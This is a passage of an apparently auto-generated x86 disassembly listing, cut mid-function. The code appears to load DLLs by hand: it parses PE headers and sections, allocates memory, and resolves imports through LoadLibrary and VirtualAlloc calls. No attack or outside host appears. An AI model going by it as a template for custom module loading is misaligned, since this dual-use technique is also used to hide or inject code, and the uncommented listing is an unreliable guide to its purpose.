		mov	ecx, [ebp+arg_8]
		xor	ecx, eax
		mov	[ebp+arg_8], ecx
		jmp	short loc_4D5F6F
; ---------------------------------------------------------------------------


loc_4D5F62:				; CODE XREF: sub_4D5BD7+37Aj
		call	sub_4D58A0
		mov	ecx, [ebp+arg_8]
		xor	ecx, eax
		mov	[ebp+arg_8], ecx


loc_4D5F6F:				; CODE XREF: sub_4D5BD7:loc_4D5F4Bj
					; sub_4D5BD7+389j
		cmp	[ebp+arg_8], 0
		jz	loc_4D6115
		mov	eax, [ebp+arg_C]
		add	eax, [ebp+arg_8]
		mov	[ebp+var_64], eax
		mov	ds:dword_4E1928, 0FFFFFFFEh
		mov	eax, ds:dword_4E1960
		mov	[ebp+var_68], eax
		mov	[ebp+var_4], 2
		pushaw
		mov	ds:dword_4E1960, esp
		mov	eax, [ebp+arg_14]
		push	eax
		mov	eax, [ebp+arg_10]
		push	eax
		mov	eax, [ebp+arg_C]
		push	eax
		call	[ebp+var_64]
		mov	ds:dword_4E1928, eax
		mov	esp, ds:dword_4E1960
		popaw
		and	[ebp+var_4], 0
		call	sub_4D5FCD
		jmp	loc_4D6113
sub_4D5BD7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4D5FCD	proc near		; CODE XREF: sub_4D5BD7+3ECp
					; DATA XREF: _5:004DE4B8o
		mov	eax, [ebp-68h]
		mov	ds:dword_4E1960, eax
		cmp	dword ptr [ebp+18h], 0
		jnz	loc_4D60F6
		mov	eax, ds:dword_4E194C
		mov	[ebp-80h], eax
		cmp	dword ptr [ebp-80h], 0
		jz	short loc_4D6003
		mov	eax, [ebp-80h]
		add	eax, 10h
		push	eax
		call	ds:dword_4DE01C	; RtlEnterCriticalSection
		mov	byte ptr [ebp-84h], 1
		jmp	short loc_4D600A
; ---------------------------------------------------------------------------


loc_4D6003:				; CODE XREF: sub_4D5FCD+1Ej
		and	byte ptr [ebp-84h], 0


loc_4D600A:				; CODE XREF: sub_4D5FCD+34j
		movzx	eax, byte ptr [ebp-84h]
		test	eax, eax
		jz	short loc_4D6047
		push	dword ptr [ebp+14h]
		mov	ecx, ds:dword_4E194C
		call	sub_4DB8E0
		mov	eax, ds:dword_4E194C
		mov	[ebp-88h], eax
		cmp	dword ptr [ebp-88h], 0
		jz	short loc_4D6047
		mov	eax, [ebp-88h]
		add	eax, 10h
		push	eax
		call	ds:dword_4DE018	; RtlLeaveCriticalSection


loc_4D6047:				; CODE XREF: sub_4D5FCD+46j
					; sub_4D5FCD+68j
		push	5Ch
		push	dword ptr [ebp+0Ch]
		call	sub_4CC700
		pop	ecx
		pop	ecx
		mov	[ebp-6Ch], eax
		cmp	dword ptr [ebp-6Ch], 0
		jnz	short loc_4D6064
		mov	eax, [ebp+0Ch]
		mov	[ebp-6Ch], eax
		jmp	short loc_4D606B
; ---------------------------------------------------------------------------


loc_4D6064:				; CODE XREF: sub_4D5FCD+8Dj
		mov	eax, [ebp-6Ch]
		inc	eax
		mov	[ebp-6Ch], eax


loc_4D606B:				; CODE XREF: sub_4D5FCD+95j
		mov	eax, ds:dword_4E1954
		mov	[ebp-8Ch], eax
		cmp	dword ptr [ebp-8Ch], 0
		jz	short loc_4D6098
		mov	eax, [ebp-8Ch]
		add	eax, 10h
		push	eax
		call	ds:dword_4DE01C	; RtlEnterCriticalSection
		mov	byte ptr [ebp-90h], 1
		jmp	short loc_4D609F
; ---------------------------------------------------------------------------


loc_4D6098:				; CODE XREF: sub_4D5FCD+B0j
		and	byte ptr [ebp-90h], 0


loc_4D609F:				; CODE XREF: sub_4D5FCD+C9j
		movzx	eax, byte ptr [ebp-90h]
		test	eax, eax
		jz	short loc_4D60E7
		push	offset sub_4DBB0D
		push	ds:dword_4E17C0
		push	dword ptr [ebp-6Ch]
		mov	ecx, ds:dword_4E1954
		call	sub_4DB900
		mov	eax, ds:dword_4E1954
		mov	[ebp-94h], eax
		cmp	dword ptr [ebp-94h], 0
		jz	short loc_4D60E7
		mov	eax, [ebp-94h]
		add	eax, 10h
		push	eax
		call	ds:dword_4DE018	; RtlLeaveCriticalSection


loc_4D60E7:				; CODE XREF: sub_4D5FCD+DBj
					; sub_4D5FCD+108j
		mov	eax, [ebp+0Ch]
		mov	[ebp-70h], eax
		push	dword ptr [ebp-70h]
		call	sub_4D83DD
		pop	ecx


loc_4D60F6:				; CODE XREF: sub_4D5FCD+Cj
		mov	eax, ds:dword_4E1928
		mov	[ebp-1Ch], eax
		mov	ds:dword_4E1928, 0FFFFFFFEh
		cmp	dword ptr [ebp-1Ch], 0FFFFFFFEh
		jnz	short locret_4D6112
		and	dword ptr [ebp-1Ch], 0

locret_4D6112:				; CODE XREF: sub_4D5FCD+13Fj
		retn
sub_4D5FCD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4D5BD7


loc_4D6113:				; CODE XREF: sub_4D5BD7+3F1j
		jmp	short loc_4D611C
; ---------------------------------------------------------------------------


loc_4D6115:				; CODE XREF: sub_4D5BD7+39Cj
		mov	[ebp+var_1C], 1


loc_4D611C:				; CODE XREF: sub_4D5BD7:loc_4D6113j
		or	[ebp+var_4], 0FFFFFFFFh
		call	nullsub_1
		jmp	short loc_4D6128
; END OF FUNCTION CHUNK	FOR sub_4D5BD7
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4D5BD7


loc_4D6128:				; CODE XREF: sub_4D5BD7+54Ej
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	18h
; END OF FUNCTION CHUNK	FOR sub_4D5BD7

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D613C	proc near		; CODE XREF: sub_4D4DC0+23Cp
					; sub_4D4DC0:loc_4D501Ap
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		cmp	ds:dword_4E196C, 0
		setnz	al
		pop	ebp
		retn
sub_4D613C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D614D	proc near		; CODE XREF: sub_4D4DC0:loc_4D500Ap
					; sub_4D61E1:loc_4D705Cp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h


loc_4D6153:				; CODE XREF: sub_4D614D+89j
		and	[ebp+var_4], 0
		cmp	ds:dword_4E196C, 0
		jz	short loc_4D61D0
		mov	[ebp+var_8], offset dword_4E196C


loc_4D6167:				; CODE XREF: sub_4D614D:loc_4D61CEj
		mov	eax, [ebp+var_8]
		cmp	dword ptr [eax], 0
		jz	short loc_4D61D0
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		mov	[ebp+var_C], eax
		push	0
		push	1
		mov	eax, [ebp+var_C]
		push	dword ptr [eax]
		mov	eax, [ebp+var_C]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+var_C]
		push	dword ptr [eax+8]
		mov	eax, [ebp+var_C]
		push	dword ptr [eax+4]
		call	sub_4D4D70
		add	esp, 18h
		movzx	eax, al
		test	eax, eax
		jz	short loc_4D61C3
		mov	[ebp+var_4], 1
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		mov	ecx, [ebp+var_8]
		mov	eax, [eax+10h]
		mov	[ecx], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_10], eax
		push	[ebp+var_10]
		call	sub_4D83DD
		pop	ecx
		jmp	short loc_4D61CE
; ---------------------------------------------------------------------------


loc_4D61C3:				; CODE XREF: sub_4D614D+52j
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		add	eax, 10h
		mov	[ebp+var_8], eax


loc_4D61CE:				; CODE XREF: sub_4D614D+74j
		jmp	short loc_4D6167
; ---------------------------------------------------------------------------


loc_4D61D0:				; CODE XREF: sub_4D614D+11j
					; sub_4D614D+20j
		movzx	eax, [ebp+var_4]
		test	eax, eax
		jnz	loc_4D6153
		mov	al, [ebp+var_4]
		leave
		retn
sub_4D614D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D61E1	proc near		; CODE XREF: sub_4D931F+2Fp
					; sub_4DAE2D+2Dp

var_148		= dword	ptr -148h
var_144		= dword	ptr -144h
var_140		= dword	ptr -140h
var_13C		= dword	ptr -13Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_10C		= dword	ptr -10Ch
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
var_F8		= dword	ptr -0F8h
var_F4		= dword	ptr -0F4h
var_F0		= dword	ptr -0F0h
var_EC		= dword	ptr -0ECh
var_E8		= dword	ptr -0E8h
var_E4		= dword	ptr -0E4h
var_E0		= dword	ptr -0E0h
var_DC		= dword	ptr -0DCh
var_D8		= dword	ptr -0D8h
var_D4		= dword	ptr -0D4h
var_D0		= dword	ptr -0D0h
var_CC		= byte ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= byte ptr -60h
var_5C		= byte ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004D6B27 SIZE 00000058 BYTES
; FUNCTION CHUNK AT 004D6B8F SIZE 000004F6 BYTES
; FUNCTION CHUNK AT 004D7132 SIZE 0000000F BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4DE4C0
		push	offset sub_4CC54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 130h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	[ebp+var_12C], edx
		mov	[ebp+var_128], ecx
		or	[ebp+var_3C], 0FFFFFFFFh
		or	[ebp+var_38], 0FFFFFFFFh
		or	[ebp+var_58], 0FFFFFFFFh
		and	[ebp+var_34], 0
		and	[ebp+var_30], 0
		and	[ebp+var_1C], 0
		and	[ebp+var_2C], 0
		and	[ebp+var_54], 0
		and	[ebp+var_4C], 0
		and	[ebp+var_50], 0
		and	[ebp+var_40], 0
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		and	[ebp+var_5C], 0
		and	[ebp+var_20], 0
		push	offset dword_4E1930
		call	ds:dword_4E16C4	; RtlEnterCriticalSection
		and	[ebp+var_48], 0
		mov	eax, ds:dword_4E1964
		mov	[ebp+var_44], eax
		and	[ebp+var_4], 0
		push	[ebp+var_128]
		call	ds:dword_4E1718	; GetModuleHandleA
		test	eax, eax
		jz	short loc_4D62A9
		push	[ebp+var_128]
		call	ds:dword_4E175C	; LoadLibraryA
		push	0FFFFFFFFh
		mov	[ebp+var_130], eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4CC496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_130]
		jmp	loc_4D7132
; ---------------------------------------------------------------------------


loc_4D62A9:				; CODE XREF: sub_4D61E1+9Cj
		push	[ebp+var_12C]
		lea	eax, [ebp+var_24]
		push	eax
		push	[ebp+var_128]
		call	sub_4D581E
		add	esp, 0Ch
		mov	[ebp+var_6C], eax
		cmp	ds:dword_4E1964, 0
		jz	short loc_4D632D
		cmp	[ebp+var_6C], 0
		jz	short loc_4D632D
		mov	eax, ds:dword_4E1964
		mov	[ebp+var_74], eax
		jmp	short loc_4D62F1
; ---------------------------------------------------------------------------


loc_4D62DD:				; CODE XREF: sub_4D61E1:loc_4D632Bj
		mov	eax, [ebp+var_74]
		mov	eax, [eax+4]
		mov	[ebp+var_74], eax
		mov	eax, ds:dword_4E1968
		inc	eax
		mov	ds:dword_4E1968, eax


loc_4D62F1:				; CODE XREF: sub_4D61E1+FAj
		cmp	[ebp+var_74], 0
		jz	short loc_4D632D
		mov	eax, [ebp+var_74]
		mov	eax, [eax]
		cmp	eax, [ebp+var_6C]
		jnz	short loc_4D632B
		mov	eax, ds:dword_4E1968
		inc	eax
		mov	ds:dword_4E1968, eax
		push	0FFFFFFFFh
		and	[ebp+var_134], 0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4CC496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_134]
		jmp	loc_4D7132
; ---------------------------------------------------------------------------


loc_4D632B:				; CODE XREF: sub_4D61E1+11Ej
		jmp	short loc_4D62DD
; ---------------------------------------------------------------------------


loc_4D632D:				; CODE XREF: sub_4D61E1+EAj
					; sub_4D61E1+F0j ...
		and	ds:dword_4E1968, 0
		mov	eax, [ebp+var_6C]
		mov	[ebp+var_48], eax
		lea	eax, [ebp+var_48]
		mov	ds:dword_4E1964, eax
		cmp	[ebp+var_6C], 0
		jnz	loc_4D63CE
		mov	eax, [ebp+var_128]
		mov	[ebp+var_78], eax
		push	[ebp+var_12C]
		push	0
		push	[ebp+var_78]
		call	ds:dword_4E1758	; LoadLibraryExA
		mov	[ebp+var_7C], eax
		cmp	[ebp+var_7C], 0
		jz	short loc_4D638E
		mov	eax, [ebp+var_12C]
		and	eax, 2
		test	eax, eax
		jnz	short loc_4D63AD
		push	[ebp+var_128]
		push	[ebp+var_7C]
		call	sub_4D5070
		test	eax, eax
		jnz	short loc_4D63AD


loc_4D638E:				; CODE XREF: sub_4D61E1+18Cj
		call	ds:dword_4E1710	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_4D63A0
		push	7Eh
		call	ds:dword_4E178C	; RtlRestoreLastWin32Error


loc_4D63A0:				; CODE XREF: sub_4D61E1+1B5j
		push	[ebp+var_7C]
		call	ds:dword_4E16E0	; FreeLibrary
		and	[ebp+var_7C], 0


loc_4D63AD:				; CODE XREF: sub_4D61E1+199j
					; sub_4D61E1+1ABj
		push	0FFFFFFFFh
		mov	eax, [ebp+var_7C]
		mov	[ebp+var_138], eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4CC496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_138]
		jmp	loc_4D7132
; ---------------------------------------------------------------------------


loc_4D63CE:				; CODE XREF: sub_4D61E1+165j
		push	0
		push	0
		push	[ebp+var_6C]
		call	sub_4D8892
		add	esp, 0Ch
		mov	[ebp+var_28], eax
		push	[ebp+var_28]
		call	ds:dword_4E1718	; GetModuleHandleA
		mov	[ebp+var_80], eax
		cmp	[ebp+var_80], 0
		jz	short loc_4D6413
		push	0FFFFFFFFh
		mov	eax, [ebp+var_80]
		mov	[ebp+var_13C], eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4CC496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_13C]
		jmp	loc_4D7132
; ---------------------------------------------------------------------------


loc_4D6413:				; CODE XREF: sub_4D61E1+20Fj
		mov	eax, [ebp+var_24]
		mov	[ebp+var_84], eax
		jmp	short loc_4D642B
; ---------------------------------------------------------------------------


loc_4D641E:				; CODE XREF: sub_4D61E1:loc_4D644Fj
		mov	eax, [ebp+var_84]
		inc	eax
		mov	[ebp+var_84], eax


loc_4D642B:				; CODE XREF: sub_4D61E1+23Bj
		mov	eax, [ebp+var_84]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_4D6451
		mov	eax, [ebp+var_84]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Fh
		jnz	short loc_4D644F
		mov	eax, [ebp+var_84]
		mov	byte ptr [eax],	5Ch


loc_4D644F:				; CODE XREF: sub_4D61E1+263j
		jmp	short loc_4D641E
; ---------------------------------------------------------------------------


loc_4D6451:				; CODE XREF: sub_4D61E1+255j
		push	0
		lea	eax, [ebp+var_3C]
		push	eax
		push	0
		push	0
		push	[ebp+var_24]
		call	sub_4D0346
		test	eax, eax
		jnz	short loc_4D6477
		cmp	[ebp+var_3C], 0
		jnz	short loc_4D6477
		mov	ecx, 0EF00000Fh
		call	sub_4D8342


loc_4D6477:				; CODE XREF: sub_4D61E1+284j
					; sub_4D61E1+28Aj
		lea	eax, [ebp+var_60]
		push	eax
		push	[ebp+var_3C]
		call	sub_4D0672
		push	40h
		call	sub_4D835A
		pop	ecx
		mov	[ebp+var_F4], eax
		mov	eax, [ebp+var_F4]
		mov	[ebp+var_50], eax
		lea	eax, [ebp+var_64]
		push	eax
		push	0
		push	0
		push	40h
		push	[ebp+var_50]
		push	[ebp+var_3C]
		call	sub_4D1177
		test	eax, eax
		jz	short loc_4D64B9
		cmp	[ebp+var_64], 0
		jnz	short loc_4D64C3


loc_4D64B9:				; CODE XREF: sub_4D61E1+2D0j
		mov	ecx, 0EF00000Fh
		call	sub_4D8342


loc_4D64C3:				; CODE XREF: sub_4D61E1+2D6j
		push	0
		push	0
		mov	eax, [ebp+var_50]
		push	dword ptr [eax+3Ch]
		push	[ebp+var_3C]
		call	sub_4D0421
		push	0F8h
		call	sub_4D835A
		pop	ecx
		mov	[ebp+var_F8], eax
		mov	eax, [ebp+var_F8]
		mov	[ebp+var_4C], eax
		lea	eax, [ebp+var_64]
		push	eax
		push	0
		push	0
		push	0F8h
		push	[ebp+var_4C]
		push	[ebp+var_3C]
		call	sub_4D1177
		test	eax, eax
		jz	short loc_4D6511
		cmp	[ebp+var_64], 0
		jnz	short loc_4D651B


loc_4D6511:				; CODE XREF: sub_4D61E1+328j
		mov	ecx, 0EF00000Fh
		call	sub_4D8342


loc_4D651B:				; CODE XREF: sub_4D61E1+32Ej
		mov	eax, [ebp+var_4C]
		cmp	dword ptr [eax], 4550h
		jz	short loc_4D6530
		mov	ecx, 0EF00000Ch
		call	sub_4D8342


loc_4D6530:				; CODE XREF: sub_4D61E1+343j
		mov	eax, [ebp+var_4C]
		movzx	eax, word ptr [eax+14h]
		mov	ecx, [ebp+var_4C]
		lea	eax, [ecx+eax+18h]
		sub	eax, [ebp+var_4C]
		mov	ecx, [ebp+var_50]
		mov	ecx, [ecx+3Ch]
		add	ecx, eax
		mov	[ebp+var_70], ecx
		mov	eax, [ebp+var_4C]
		movzx	eax, word ptr [eax+6]
		imul	eax, 28h
		mov	ecx, [ebp+var_70]
		add	ecx, eax
		mov	[ebp+var_68], ecx
		mov	[ebp+var_34], 600h
		push	[ebp+var_34]
		call	sub_4D835A
		pop	ecx
		mov	[ebp+var_FC], eax
		mov	eax, [ebp+var_FC]
		mov	[ebp+var_1C], eax
		mov	ecx, [ebp+var_34]
		xor	eax, eax
		mov	edi, [ebp+var_1C]
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		push	200h
		call	sub_4D835A
		pop	ecx
		mov	[ebp+var_100], eax
		mov	eax, [ebp+var_100]
		mov	[ebp+var_54], eax
		mov	ecx, 80h
		mov	eax, 90909090h
		mov	edi, [ebp+var_54]
		rep stosd
		push	0
		push	0
		push	0
		push	[ebp+var_3C]
		call	sub_4D0421
		lea	eax, [ebp+var_64]
		push	eax
		push	0
		push	0
		push	[ebp+var_68]
		push	[ebp+var_1C]
		push	[ebp+var_3C]
		call	sub_4D1177
		test	eax, eax
		jz	short loc_4D65EA
		cmp	[ebp+var_64], 0
		jnz	short loc_4D65F4


loc_4D65EA:				; CODE XREF: sub_4D61E1+401j
		mov	ecx, 0EF00000Fh
		call	sub_4D8342


loc_4D65F4:				; CODE XREF: sub_4D61E1+407j
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_1C]
		add	ecx, [eax+3Ch]
		mov	[ebp+var_A0], ecx
		mov	eax, [ebp+var_A0]
		movzx	eax, word ptr [eax+14h]
		mov	ecx, [ebp+var_A0]
		lea	eax, [ecx+eax+18h]
		mov	[ebp+var_90], eax
		mov	eax, [ebp+var_A0]
		movzx	eax, word ptr [eax+6]
		imul	eax, 28h
		mov	ecx, [ebp+var_90]
		add	ecx, eax
		mov	[ebp+var_8C], ecx
		mov	eax, [ebp+var_A0]
		add	eax, 88h
		mov	[ebp+var_98], eax
		mov	eax, [ebp+var_A0]
		add	eax, 80h
		mov	[ebp+var_88], eax
		mov	eax, [ebp+var_A0]
		and	dword ptr [eax+24h], 0
		mov	eax, [ebp+var_A0]
		and	dword ptr [eax+20h], 0
		mov	eax, [ebp+var_A0]
		and	dword ptr [eax+1Ch], 0
		mov	eax, [ebp+var_54]
		mov	ecx, [ebp+var_A0]
		mov	ecx, [ecx+0A0h]
		mov	[eax+34h], ecx
		mov	eax, [ebp+var_54]
		mov	ecx, [ebp+var_A0]
		mov	ecx, [ecx+0A4h]
		mov	[eax+38h], ecx
		mov	eax, [ebp+var_A0]
		cmp	dword ptr [eax+84h], 0
		jz	short loc_4D66BF
		mov	eax, [ebp+var_54]
		mov	ecx, [ebp+var_A0]
		mov	ecx, [ecx+80h]
		mov	[eax+3Ch], ecx
		jmp	short loc_4D66C6
; ---------------------------------------------------------------------------


loc_4D66BF:				; CODE XREF: sub_4D61E1+4C8j
		mov	eax, [ebp+var_54]
		and	dword ptr [eax+3Ch], 0


loc_4D66C6:				; CODE XREF: sub_4D61E1+4DCj
		mov	eax, [ebp+var_54]
		add	eax, 40h
		mov	[ebp+var_94], eax
		mov	eax, [ebp+var_94]
		and	dword ptr [eax], 0
		mov	eax, [ebp+var_54]
		add	eax, 44h
		mov	[ebp+var_9C], eax
		jmp	short loc_4D66F8
; ---------------------------------------------------------------------------


loc_4D66E9:				; CODE XREF: sub_4D61E1:loc_4D6C30j
		mov	eax, [ebp+var_90]
		add	eax, 28h
		mov	[ebp+var_90], eax


loc_4D66F8:				; CODE XREF: sub_4D61E1+506j
		mov	eax, [ebp+var_90]
		cmp	eax, [ebp+var_8C]
		jnb	loc_4D6C35
		mov	eax, [ebp+var_9C]
		mov	ecx, [ebp+var_90]
		mov	ecx, [ecx+14h]
		mov	[eax], ecx
		mov	eax, [ebp+var_9C]
		add	eax, 4
		mov	[ebp+var_9C], eax
		mov	eax, [ebp+var_9C]
		mov	ecx, [ebp+var_90]
		mov	ecx, [ecx+10h]
		mov	[eax], ecx
		mov	eax, [ebp+var_9C]
		add	eax, 4
		mov	[ebp+var_9C], eax
		mov	eax, [ebp+var_9C]
		mov	ecx, [ebp+var_90]
		mov	ecx, [ecx+24h]
		mov	[eax], ecx
		mov	eax, [ebp+var_9C]
		add	eax, 4
		mov	[ebp+var_9C], eax
		cmp	ds:dword_4E1680, 2
		jnb	loc_4D686E
		mov	eax, [ebp+var_90]
		mov	ecx, [ebp+var_98]
		mov	eax, [eax+0Ch]
		cmp	eax, [ecx]
		ja	loc_4D686E
		mov	eax, [ebp+var_90]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+var_90]
		add	eax, [ecx+10h]
		mov	ecx, [ebp+var_98]
		cmp	eax, [ecx]
		jbe	loc_4D686E
		push	200h
		mov	eax, [ebp+var_90]
		push	dword ptr [eax+10h]
		call	sub_4D5AE5
		pop	ecx
		pop	ecx
		mov	[ebp+var_30], eax
		push	[ebp+var_30]
		call	sub_4D835A
		pop	ecx
		mov	[ebp+var_104], eax
		mov	eax, [ebp+var_104]
		mov	[ebp+var_2C], eax
		mov	eax, [ebp+var_A0]
		push	dword ptr [eax+38h]
		mov	eax, [ebp+var_90]
		push	dword ptr [eax+8]
		call	sub_4D5AE5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_A0]
		mov	ecx, [ecx+20h]
		add	ecx, eax
		mov	eax, [ebp+var_A0]
		mov	[eax+20h], ecx
		push	0
		push	0
		mov	eax, [ebp+var_90]
		push	dword ptr [eax+14h]
		push	[ebp+var_3C]
		call	sub_4D0421
		lea	eax, [ebp+var_64]
		push	eax
		push	0
		push	0
		mov	eax, [ebp+var_90]
		push	dword ptr [eax+10h]
		push	[ebp+var_2C]
		push	[ebp+var_3C]
		call	sub_4D1177
		test	eax, eax
		jz	short loc_4D6846
		cmp	[ebp+var_64], 0
		jnz	short loc_4D6850


loc_4D6846:				; CODE XREF: sub_4D61E1+65Dj
		mov	ecx, 0EF00000Fh
		call	sub_4D8342


loc_4D6850:				; CODE XREF: sub_4D61E1+663j
		mov	eax, [ebp+var_90]
		mov	ecx, [ebp+var_34]
		mov	[eax+14h], ecx
		mov	eax, [ebp+var_90]
		mov	dword ptr [eax+24h], 0C0000040h
		jmp	loc_4D6C30
; ---------------------------------------------------------------------------


loc_4D686E:				; CODE XREF: sub_4D61E1+590j
					; sub_4D61E1+5A7j ...
		mov	eax, [ebp+var_90]
		mov	ecx, [ebp+var_88]
		mov	eax, [eax+0Ch]
		cmp	eax, [ecx]
		ja	loc_4D6B8F
		mov	eax, [ebp+var_90]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+var_90]
		add	eax, [ecx+10h]
		mov	ecx, [ebp+var_88]
		cmp	eax, [ecx]
		jbe	loc_4D6B8F
		and	[ebp+var_A8], 0
		mov	[ebp+var_4], 1
		push	4
		push	1000h
		mov	eax, [ebp+var_90]
		push	dword ptr [eax+10h]
		push	0
		call	ds:dword_4E17A4	; VirtualAlloc
		mov	[ebp+var_A8], eax
		push	0
		push	0
		mov	eax, [ebp+var_90]
		push	dword ptr [eax+14h]
		push	[ebp+var_3C]
		call	sub_4D0421
		lea	eax, [ebp+var_64]
		push	eax
		push	0
		push	0
		mov	eax, [ebp+var_90]
		push	dword ptr [eax+10h]
		push	[ebp+var_A8]
		push	[ebp+var_3C]
		call	sub_4D1177
		test	eax, eax
		jz	short loc_4D690F
		cmp	[ebp+var_64], 0
		jnz	short loc_4D6919


loc_4D690F:				; CODE XREF: sub_4D61E1+726j
		mov	ecx, 0EF00000Fh
		call	sub_4D8342


loc_4D6919:				; CODE XREF: sub_4D61E1+72Cj
		mov	eax, [ebp+var_90]
		mov	eax, [eax+0Ch]
		mov	[ebp+var_B0], eax
		mov	eax, [ebp+var_88]
		mov	eax, [eax]
		sub	eax, [ebp+var_B0]
		mov	ecx, [ebp+var_A8]
		add	ecx, eax
		mov	[ebp+var_AC], ecx
		and	[ebp+var_B4], 0
		jmp	short loc_4D695A
; ---------------------------------------------------------------------------


loc_4D694D:				; CODE XREF: sub_4D61E1:loc_4D6B5Aj
		mov	eax, [ebp+var_B4]
		inc	eax
		mov	[ebp+var_B4], eax


loc_4D695A:				; CODE XREF: sub_4D61E1+76Aj
		mov	eax, [ebp+var_88]
		mov	eax, [eax+4]
		xor	edx, edx
		push	14h
		pop	ecx
		div	ecx
		cmp	[ebp+var_B4], eax
		jnb	loc_4D6B5F
		mov	eax, [ebp+var_B4]
		imul	eax, 14h
		mov	ecx, [ebp+var_AC]
		cmp	dword ptr [ecx+eax+0Ch], 0
		jnz	short loc_4D6991
		jmp	loc_4D6B5F
; ---------------------------------------------------------------------------


loc_4D6991:				; CODE XREF: sub_4D61E1+7A9j
		mov	eax, [ebp+var_B4]
		imul	eax, 14h
		mov	ecx, [ebp+var_AC]
		mov	edx, [ebp+var_A8]
		add	edx, [ecx+eax+0Ch]
		sub	edx, [ebp+var_B0]
		mov	[ebp+var_BC], edx
		mov	eax, [ebp+var_90]
		mov	ecx, [ebp+var_A8]
		add	ecx, [eax+10h]
		cmp	[ebp+var_BC], ecx
		jbe	short loc_4D69D2
		jmp	loc_4D6B5F
; ---------------------------------------------------------------------------


loc_4D69D2:				; CODE XREF: sub_4D61E1+7EAj
		mov	eax, [ebp+var_BC]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_4D69E4
		jmp	loc_4D6B5F
; ---------------------------------------------------------------------------


loc_4D69E4:				; CODE XREF: sub_4D61E1+7FCj
		and	ds:dword_4E1968, 0
		and	[ebp+var_B8], 0
		push	[ebp+var_BC]
		call	sub_4DAE83
		mov	[ebp+var_B8], eax
		cmp	[ebp+var_B8], 0
		jnz	loc_4D6B27
		cmp	ds:dword_4E1968, 0
		jz	short loc_4D6A1E
		jmp	loc_4D6B29
; ---------------------------------------------------------------------------


loc_4D6A1E:				; CODE XREF: sub_4D61E1+836j
		mov	edi, [ebp+var_BC]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		push	[ebp+var_24]
		call	sub_4D92CA
		pop	ecx
		pop	ecx
		mov	[ebp+var_C0], eax
		mov	[ebp+var_4], 2
		push	5Ch
		push	[ebp+var_C0]
		call	sub_4CC700
		pop	ecx
		pop	ecx
		mov	[ebp+var_C4], eax
		cmp	[ebp+var_C4], 0
		jz	short loc_4D6A72
